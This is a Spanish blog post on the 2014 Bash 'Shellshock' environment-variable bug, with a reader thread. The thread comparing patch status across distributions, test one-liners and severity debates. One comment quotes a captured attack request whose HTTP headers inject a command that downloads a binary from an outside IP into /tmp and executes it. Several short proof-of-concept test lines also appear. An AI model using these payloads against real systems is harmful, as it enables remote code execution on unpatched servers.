Bash: nueva Vulnerabilidad detectada (y corregida)

Anda corriendo como pólvora en algunos blogs, una noticia publicada en el blog de seguridad de Red Hat sobre una vulnerabilidad encontrada en Bash debido al uso indebido de variables globales. Según la noticia original:

«… la vulnerabilidad se debe al hecho de que se pueden crear variables de entorno con valores especialmente diseñados antes de llamar a la shell de bash. Estas variables pueden contener código que es ejecutado tan pronto como se invoca el shell. El nombre de estas variables elaboradas no importa, sólo sus contenidos. Como resultado, esta vulnerabilidad se expone en muchos contextos, por ejemplo:

  • ForceCommand se utiliza en configuraciones de sshd para proporcionar capacidades de ejecución de comandos limitadas para los usuarios remotos. Este defecto se puede utilizar para evitar eso y proporcionar ejecución de comandos arbitrarios. Algunas implementaciones de Git y Subversion utilizan dichos Shells restringidos. El uso regular de OpenSSH no se ve afectada ya que los usuarios ya tienen acceso a una consola.
  • El servidor Apache usando mod_cgi o mod_cgid se ven afectados si los scripts CGI están escritos tanto en bash, o desovan subniveles. Tales subniveles se utilizan de forma implícita por system/popen en C, por os.system/os.popen en Python, si se utiliza un shell system/exec en PHP (cuando se ejecuta en modo CGI), y open/system en Perl (que depende en la cadena de comandos).
  • Scripts PHP ejecutados con mod_php no se ven afectados incluso si se reproducen subniveles.
  • Clientes DHCP invocan scripts shell para configurar el sistema, con valores tomados de un servidor potencialmente malicioso. Esto permitiría comandos arbitrarios a ser ejecutados, normalmente como root, en el equipo cliente DHCP.
  • Varios demonios y programas con privilegios SUID pueden ejecutar scripts de shell con los valores de variables de entorno establecidas/influenciados por el usuario, lo que permitiría ejecutar comandos arbitrarios.
  • Cualquier otra aplicación que se engancha a un Shell o se ejecuta un script de shell como el uso de bash como intérprete. Los scripts de shell que no exportan variables no son vulnerables a este problema, incluso si ellos procesan contenido no confiable y la almacenan en variables (dejados) de shell y subniveles abiertos.

…»

¿Como saber si mi Bash está afectado?

Visto esto hay una forma muy simple de saber si estamos afectados por esta vulnerabilidad. De hecho, probé en mi Antergos y no tengo problema alguno al parecer. Lo que tenemos que hacer es abrir un terminal y poner:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si nos sale de esta forma no tenemos problema alguno:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: aviso: x: ignoring function definition attempt
bash: error al importar la definición de la función para `x'
this is a test

Si el resultado es diferente, convendría usar los canales de actualización de nuestras distribuciones preferidas para ver si ya aplicaron el parche. Así que ya saben 😉

Actualizado: Este es el resultado de un compañero de trabajo que usa Ubuntu 14:04:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Como ven, hasta el momento es vulnerable.


66 comentarios, deja el tuyo

Deja tu comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*

*

  1. Responsable de los datos: Miguel Ángel Gatón
  2. Finalidad de los datos: Controlar el SPAM, gestión de comentarios.
  3. Legitimación: Tu consentimiento
  4. Comunicación de los datos: No se comunicarán los datos a terceros salvo por obligación legal.
  5. Almacenamiento de los datos: Base de datos alojada en Occentus Networks (UE)
  6. Derechos: En cualquier momento puedes limitar, recuperar y borrar tu información.

  1.   Gerson dijo

    Tengo Kubuntu 14.04 de 64 y también me sale:

    env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
    vulnerable
    this is a test

    Ya actualicé, pero no corrige. ¿Que hacer?

    1.    elav dijo

      Esperar que actualicen. Ya eOS por ejemplo actualizó.. 😀

    2.    Juan dijo

      Que raro, yo también tengo Kubuntu 14.04

      $ env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
      bash: aviso: x: ignoring function definition attempt
      bash: error al importar la definición de la función para `x’
      this is a test

      1.    Juan dijo

        Añado que la versión del paquete «bash» que se ha descargado hoy es:
        4.3-7ubuntu1.1

        http://packages.ubuntu.com/trusty/bash

    3.    eliotime3000 dijo

      En mi caso, al darle el comando, sólo me da lo siguiente en la terminal:

      >

      En fin, el chiste es que actualicé Debian Wheezy y éso es lo que me botó.

      1.    Yukiteru dijo

        Wheezy aún es vulnerable a la segunda parte del bug, al menos para la tarde (UTC -4:30) todavía seguía el problema :/

  2.   petercheco dijo

    Acabo de comprobar que tras aplicar una actualización esta mañana ni Slackware ni Debian ni Centos son afectados ya que recibieron actualización correspondiente..

    ¿Qué hace Ubuntu aún vulnerable a estas horas? Y que me digan que es seguro :D.

    1.    Juan dijo

      ¿Pero has probado actualizar Ubuntu?
      Con la actualización de hoy también lo han arreglado.

      1.    petercheco dijo

        OK

    2.    robet dijo

      Expertos en seguridad advierten de la vulnerabilidad de ‘Bash’, podría representar una mayor amenaza para los usuarios del Software Linux que el fallo de Heartbleed, donde los ‘hackers’ pueden explotar un error en Bash para tomar el control completo de un sistema.
      Tod Beardsley, gerente de ingeniería de la firma de ciberseguridad Rapid7, advirtió que el fallo fue clasificado como 10 por su gravedad, lo que significa que tiene el máximo impacto, y calificado como «bajo» por la complejidad de la explotación, lo que significa que es relativamente fácil para los ataques de ‘hackers’. Al usar esta vulnerabilidad, los atacantes potencialmente pueden tomar el control del sistema operativo, acceder a información confidencial, hacer cambios, etc», dijo Beardsley. «Cualquiera con sistemas que ocupen Bash deben aplicar el parche inmediatamente», agregó.
      ANTES ESTA VULNERABILIDAD QUE PRESENTA LA ANTICUADO HERRAMIENTA (GNU) donde se aloja Bach, seria mas conveniente para el Software Linux que deshaga de GNU y cambien por la herramienta BSD.

      PD: no CENSUREN mi libertad de expresión,…no insultado a nadie,…no borren mi mensaje como el anterior mensaje que me han borrado!.

      1.    Xerix dijo

        Ay por favor, no exageres. Como detesto a esas personas que usan BSD y desprecian GNU, Linux o cualquier cosa proveniente de estos proyectos.

      2.    petercheco dijo

        Estoy contígo y tiénes toda la razón en cuánto a la gravedad de este agujero.

      3.    diazepan dijo

        No fue censura, fue redundancia (habías hecho el mismo comentario en el post de gnome 3.14)

      4.    Staff dijo

        «…y calificado como “BAJO” POR LA COMPLEJIDAD de la explotación, lo que significa que es relativamente FÁCIL para los ataques de ‘hackers’»

        ¿Se nota la incongruencia?
        ¿Cómo puede ser fácil explotar la vulnerabilidad y tener al mismo tiempo nivel «bajo» de riesgo por ser tan complejo de utilizarse?
        Es un bug que se soluciono a unas horas de conocerse y que al igual que heartbleed no tiene reportes de haber sido explotado (Claro este tiene menos tiempo de conocerse).
        Es mas prensa amarillista que riesgo real.

      5.    petercheco dijo

        ¿Te parece poco importante @Staff? ¿Qué me dirás ahora?

        GET./.HTTP/1.0
        .User-Agent:.Thanks-Rob
        .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
        .Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
        .Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
        .Accept:.*/*

        $ file nginx
        nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped

        $ md5sum nginx
        5924bcc045bb7039f55c6ce29234e29a nginx

        $ sha256sum nginx
        73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx

        ¿Sabes qué es? De poco peligroso nada…

      6.    Yukiteru dijo

        La situación es bastante grave, pero de allí a decir que se debe dejar de usar bash por una opción de BSD, ya es como mucho, de todas formas la actualización ya está, solo toco actualizar y más nada.

        Ahora bien el PD, creo que está de más compañero @robet, no creo que acá los admins se dediquen a borrar comentarios así porque si, porque, desde que participo en esta comunidad he tenido esa sensación y espero que se mantenga así.

        Saludos.

      7.    elav dijo

        Pusiste exactamente el mismo comentario en dos post diferentes. Si lo que intentas es promover «la fuente» de la noticia, lo siento, este no es el lugar.

      8.    mario dijo

        Bash viene desde Unix (y su clon en GNU). Los sistemas basados en BSD como OSX también están afectados, y según Genbeta, todavía no lo han parchado. Igual para acceder a Bash hace falta una cuenta de usuario, ya sea local o por SSH.

      9.    Yukiteru dijo

        @Staff:

        1.- Se clasifico como Nivel 10 (máximo nivel de peligrosidad) por la cantidad de servicios que pueden ser afectados por el bug. En la nota principal dejan bien claro ese hecho, aduciendo que el bug puede afectar servicios como apache, sshd, programas con permisos suid (xorg, entre otros).

        2.- Se clasifico con Nivel Bajo de Dificultad, a la hora de poder realizar su implementación, y el mejor ejemplo de ello, es el script de prueba para vulnerabilidad que @elav ha colocado en el post. Muy difícil de implementar no es, como se puede ver.

        Yo no veo redundancia en la información (solo veo una traducción del Google) y si el problema es bastante grave, y como tu mismo dices, ya tiene parche y solución, pero no por eso, deja de ser un riesgo, y uno bastante real.

      10.    Staff dijo

        @petercheco / @Yukiteru

        No me mal interpreten, creo que es claro que mi critica es la noticia que enlaza Robet y esta enfocada la incongruencia y no una redundancia.

        Del mismo modo hay que diferenciar entre riesgo y peligro (Este ultimo yo no lo mencione), comúnmente los usamos como sinónimos, pero aquí, peligro seria la capacidad de daño del bug y riesgo la probabilidad de que ocurra.
        En mi particular caso, me entre desde el día de ayer. No fue por listas de correos ni nada así ¡Fue por una distro de escritorio! Tome el teléfono y le mande un mensaje al sysadmin con el link y me confirmo que ya tenia todo parchado, entonces disculpen pero no me quitan el sueño estas noticias.

      11.    robet dijo

        En otros foros mencionan acerca de la vulnerabilidad de Bash, «la solución que sacó Debian y Ubuntu » ,pero hoy descubrieron que sigue existiendo una vulnerabilidad, así que la solución fue incompleta, eso mencionan!.

        Veo que muchos me han criticado por el simple echo de prevenir a la gente la gravedad de vulnerabilidad -calificado con un nivel 10 de máxima peligrosidad, y mencionar de posibles soluciones al Software Linux ante la anticuada herramienta de GNU donde se aloja Bash -que perfectamente podría ser remplazado GNU con la herramienta BSD en el Software Linux,…yo también utilizo Linux y me gusta Linux!.

        Aclaro que Bash no viene por defecto instalado en BSD, es un paquete mas de compatibilidad de Linux que puede ser instalado en BSD…si!. Y la fuente se pone para que puedan comprobar la noticia, ya que muchos de los usuarios aveces no creen el mensaje o comentario.

        1.    elav dijo

          robet: Como ya te dijeron una y otra vez, tu comentario con la noticia ya lo pusiste en un post, no tienes que ponerlo en cada post que comentes.

          Sobre bash, pues hay otros interpretes de comandos que se pueden usar en caso de que Bash sea vulnerable. 😉

      12.    mario dijo

        Robet, que yo sepa no existe software que combine el kernel linux con el userland BSD. Lo mas cercano es al revés, kBSD+GNU, como lo hacen Gentoo y Debian. Aparte no se lo prodría llamar «anticuado» a GNU (1983) si es posterior a BSD (1977). Ambos comparten su raíz unix (pero no el código), no habría «compatibilidad Linux» si Bash fue creado cuando Linus T todavía era niño.

  3.   manuelperezf dijo

    uff, debian testing a estas horas es «vulnerable» vaya racha que llevamos…

    1.    mrcelhw dijo

      Yo uso Debian Testing y hasta en esta rama hemos recibido la actualización de bash

  4.   diazepan dijo

    según genbeta también hay otra vulnerabilidad
    http://seclists.org/oss-sec/2014/q3/685

    el comando para consultar es
    env X='() { (a)=>\’ sh -c «echo vulnerable»; bash -c «echo Fallo 2 sin parchear»

    1.    elav dijo
      env X='() { (a)=>\' sh -c "echo vulnerable"; bash -c "echo Fallo 2 sin parchear"
      sh: X: línea 1: error sintáctico cerca del elemento inesperado `='
      sh: X: línea 1: `'
      sh: error al importar la definición de la función para `X'
      sh: vulnerable: no se encontró la orden
      Fallo 2 sin parchea
      
      1.    diazepan dijo

        lo mismo yo.

      2.    Giskard dijo

        Igual acá. Pero el fallo original del post sí fue parcheado en (L)Ubuntu 14.04

      3.    x11tete11x dijo

        en vez de hacer un simple echo intente hacer que ejecute una instruccion que requiere privilegios, me tiro «privilegios insuficientes»… no escala privilegios este bug?, si no escala privilegios entonces no es tan peligroso como lo pintan..

      4.    Xurxo dijo

        Tienes razón!! eran dos vulnerabilidades…

        A mi en Linux Mint 17 después de la segunda actualización de bash que pusieron en los repositorios de Ubuntu ayer por la noche, a la ejecución de esa orden la shell ofrece esta salida:

        env X='() { (a)=>\’ sh -c “echo vulnerable”; bash -c “echo Fallo 2 sin parchear”
        >

        La versión de «bassh» que se puso en repositorios de Ubuntu para actualizar las anteriores es:

        4.3-7ubuntu1.2

        En sistemas derivados de Debian se puede comprobar la versión instalada con esta orden:

        dpkg -s bash|grep Version

        De todas formas habría que aclarar, al menos para los usuarios de Debian, Ubuntu y Mint; que no deben preocuparse demasiado por los programas que ejecutan scripts con el encabezamiento #!/bin/sh porque en esas distribuciones /bin/sh no llama a «bash», sino que enlaza a la shell «dash» (dash es:)

        La consola del alquimista de Debian (dash) es una consola POSIX derivada
        de ash.
        .
        Desde que ejecuta scripts mas rapido que bash, y tiene menos dependencias
        de bibliotecas (haciendolo más robusto contra fallas de software o
        hardware), se usa como consola predeterminada del sistema en sistemas
        Debian.

        Así que, al menos en Ubuntu, «bash» es utiizada como shell para el login de usuarios (también para el usuario root). Pero cualquier usuario puede utilizar otra shell por defecto para las consolas (terminales) de usuarios y root.

        Es fácil comprobar que shell ejecuta los scripts (#!/bin/sh) ejecutando estas órdenes:

        file /bin/sh
        (la salida es /bin/sh: symbolic link to `dash’) seguimos el rastro repitiendo la orden

        file /bin/dash
        (la salida es /bin/dash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV) así que este es el ejecutable.

        Estos son los resultados en una distribución Linux Mint 17. En otras distribuciones no basadas en Ubuntu/Debian pueden ser diferentes.

        No es difícil cambiar la shell por defecto!! incluso se puede usar una diferente para los usuarios y para el usuario root. En realidad solo hay que instalar la shell que se prefiera y cambiar la predeterminada con el comando «chsh» o editando el archivo /etc/passwd (aunque los usuarios que no conocen las consecuencias de un error al editar el archivo «passwd», es mejor que se informen muy bien y antes de editarlo que hagan copia del original por si es necesario recuperarlo).

        Yo me siento más cómodo con «tcsh» (tcsh es:)

        La consola de C de TENEX, una versión mejorada de la csh de Berkeley

        «csh» es la que utilizaban los Mac OS X hace algunos años. Algo lógico teniendo en cuenta que buena parte del sistema operativo de Apple es código de FreeBSD. Ahora por lo que he leído ayer, parece que también provén «bash» para los terminales de los usuarios.

        CONCLUSIONES:

        – Ya se han distribuido versiones de «bash» parcheadas «para las distribuciones más usadas»
        – La versión de «bash» 4.3-7ubuntu1.2 y posteriores no contienen estos bugs
        – No es obligatorio usar «bash» en OS *Linux
        – Pocas distribuciones *Linux enlazan #!/bin/sh con «bash»
        – Existen alernativas: ash, dash, csh, tcsh y algunas más
        – No es complicado cambiar la shell por defecto a la que el sistema llama cuando abre un terminal
        – Pocos dispositivos pequeños (routers y otros) usan «bash», porque es muy grande!!

      5.    Xurxo dijo

        Ahora mismo acaba de llegar otra actualización que instala otra versión de «bash» 4.3-7ubuntu1.3

        Para Linux Mint 17 y Ubuntu 14.04.1 LTS

        1.    elav dijo

          En ArchLinux entró la versión bash-4.3.026-1

    2.    robet dijo

      @Xurxo….csh de Berkeley?,…algo entiendes de lo que hablo arriba, y es mejor usar «csh» de BSD…antes que la anticuada herramienta GNU donde se aloja Bash. Esa herramienta es la mejor para el Software Linux.

  5.   nonamed dijo
  6.   Gonzalo dijo

    Y la solución cual seria?

    1.    elav dijo

      Esperar que actualicen el paquete en tu distro 😉

  7.   diazepan dijo

    El bug quedó bautizado como shellshock
    http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/

  8.   Pablo Ivan Correa dijo

    vulnerable
    this is a test

    Aún no hay parche para Ubuntu Studio 14.04

    1.    Brizno dijo

      Reaparado en Ubuntu Studio 14.04.1
      brizno@ubuntustudio:~$ env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
      bash: aviso: x: ignoring function definition attempt
      bash: error al importar la definición de la función para `x’
      this is a test

  9.   roader dijo

    En realidad es una vulnerabilidad menor , si te afecta es que algo estabas haciendo mal de antes …

    Porque un script bash que corre con privilegios de root nunca debe de exponerse a un usuario . Y si corre sin privilegios , no existe dicha bulnerabilidad . En realidad , es una tonteria . Mucho alarmismo .

    1.    Xerix dijo

      Pienso lo mismo.

    2.    Staff dijo

      Exacto, para vender mas diarios o conseguir mas visitas son buenos estos bugs.
      Pero siempre se les olvida mencionar que para poder vulnerar un equipo con esta clase de scripts, primero hay que tener acceso a bash y después tenerlo como root.

      1.    daryo dijo

        staff si usas un apache con cgi basta con poner en las cabeceras http como cookies o referer la funcion que deseas ejecutar . Incluso se ha usado para propagar worms .

    3.    daryo dijo

      y si alguien mete una shell a un servidor con un wget mishell.php , en ese caso no es grave no?

    4.    eliotime3000 dijo

      De acuerdo contigo. Pensé que era un bug tremendo como el de Heartbleed (incluso la NSA se prestó para alimentar el morbo), pero al fin de al cabo era un bug menor.

      Hay otros bugs realmente serios como el disparatado consumo de Flash y el bajón de rendimiento en el Pepper Flash Player, y el ya solucionado bug de webRTC en Chrome y Firefox.

  10.   Binderman dijo

    ¿Sabéis si tiene arreglo para la gente que tenemos Linux Mint 16?

  11.   Oscar dijo

    En Debian testing ya fue corregido.

  12.   Yoyo dijo

    En mis 5 distros está solventado, en mi OS X no lo se.

    Por favor, no censuren mi comentario, he dicho OS X. No se si se puede decir OS X en este sitio.

    1.    tannhausser dijo

      @yoyo bueno tampoco lo flipes demasiado que aún están trabajando en algunos detalles del parche…prueba con esto y después me cuentas anda XD

      env x='() { :;}; echo vulnerable’ bash -c «echo soy más vulnerable que la basura del iphone 6»

      Eso si que lo tienen solucionado al 100% antes que OS X me apuesto lo que sea

    2.    eliotime3000 dijo

      Bueno, hasta en Ars Technica le dan la relevancia a Bash en OSX.

    3.    elav dijo

      @Yoyo próximo comentario sobre OS X para SPAM.. lla tu save.. 😛

  13.   tannhausser dijo

    @yoyo ahí que arreglar lo de las comillas..pero el resto ya tu sabes 😉

    1.    eliotime3000 dijo

      Como que se han vuelto condescendientes con OSX (porque OSX igual usa Bash :v).

      En fin, no tengo que liarme tanto con Debian Jessie.

  14.   elhui2 dijo

    Si el sistema es vulnerable en Cent OS:
    yum clean all && yum update bash

    para ver la version de bash:
    rpm -qa | grep bash

    Si la version es anterior a bash-4.1.2-15.el6_5.1 tu sistema puede ser vulnerable!

    Saludos.

  15.   manuelperezf dijo

    2ª vulnerabilidad todavía no resuelta

    env soyvariable2='() { (a)=>\’ sh -c «echo soyVulnerable»; bash -c «echo Fallo 2 sin parchear»

  16.   Jesus Perales dijo

    Actualizando…

  17.   Swicher dijo

    A mi en Gentoo me pasa lo contrario, solo soy vulnerable al primer fallo pero con el segundo me aparece esto:
    [code]sh: X: línea 1: error sintáctico cerca del elemento inesperado `=’
    sh: X: línea 1: `’
    sh: error al importar la definición de la función para `X’
    sh: vulnerable: no se encontró la orden
    Fallo 2 sin parchear
    [/code]
    No se si ya habrá una versión estable de Bash con los fallos corregidos, pero sea como sea quedara pendiente para la próxima vez que haga un emerge –sync && emerge –update –deep –with-bdeps=y –newuse @world (así de paso actualizo todo el sistema).

    1.    Yukiteru dijo

      Yo tengo Gentoo con la versión 4.2_p50 y hasta ahora ha pasado todas las pruebas. Prueba haciendo un emerge –sync y luego emerge -av1 app-shells/bash, y luego revisa que tengas la version 4.2_p50 usando el comando bash –version.

  18.   Fer dijo

    ¿Han probado esto?

    Y con nuevos paquetes, nuevo test que nos proporcionan desde Red Hat

    cd /tmp; rm -f /tmp/echo; env ‘x=() { (a)=>\’ bash -c «echo date»; cat /tmp/echo

    si nuestro sistema no es vulnerable y ha sido correctamente parcheado nos tiene que dar algo como esto
    1 date
    2 cat: /tmp/echo: No existe el fichero o el directorio

  19.   Yukiteru dijo

    Prueben esta forma:

    env X='() { (a)=>\’ sh -c «echo vulnerable»; bash -c «echo Fallo 2 parcheado»

    A mi me sale

    vulnerable
    Fallo 2 parcheado.

    1.    Yukiteru dijo

      Olvidenlo está mal formateada la línea.

  20.   Oscar Meza dijo

    Excelente!, ya hice la actualización en mi Slackware, gracias!

  21.   Lothbrok dijo

    Buenas, me surge una pregunta, yo tengo varios servidores con «SUSE Linux Enterprise Server 10» de 64 bits.
    Cuando ejecuto las ordenes soy vulnerable, incluso soy más vulnerable que la basura el iPhone 6 xD
    Si no me equivoco para actualizar/instalar paquetes en SUSE se hace con el comando «zypper».

    En algunos servidores me dice esto:

    BIAL:~ # zypper up
    -bash: zypper: command not found
    BIAL:~ #

    Y en otros esto:

    SMB:~ # zypper up
    Restoring system sources…
    Parsing metadata for SUSE Linux Enterprise Server 10 SP2-20100319-161944…
    Parsing RPM database…
    Summary:
    Nothing to do.

    Que hago?
    Ya se que la vulnerabilidad algunos decis que es menor de como lo pintan pero la tengo y no quiero estar expuesto al riesgo, sea pequeño o grande.

    Saludos.

  22.   Sanders Gutiérrez dijo

    Buenas noches, he probado pegando el código que dispusieron en el artículo, me sale esto
    sanders@pc-sanders:~$ env x='() { :;}; echo vulnerable’ bash -c «echo this is a test»
    this is a test
    sanders@pc-sanders:~$
    quieren por favor explicarme como parchar distro, hago actualizaciones diariamente y no veo cambios en la salida del prompt.

    Muchas gracias!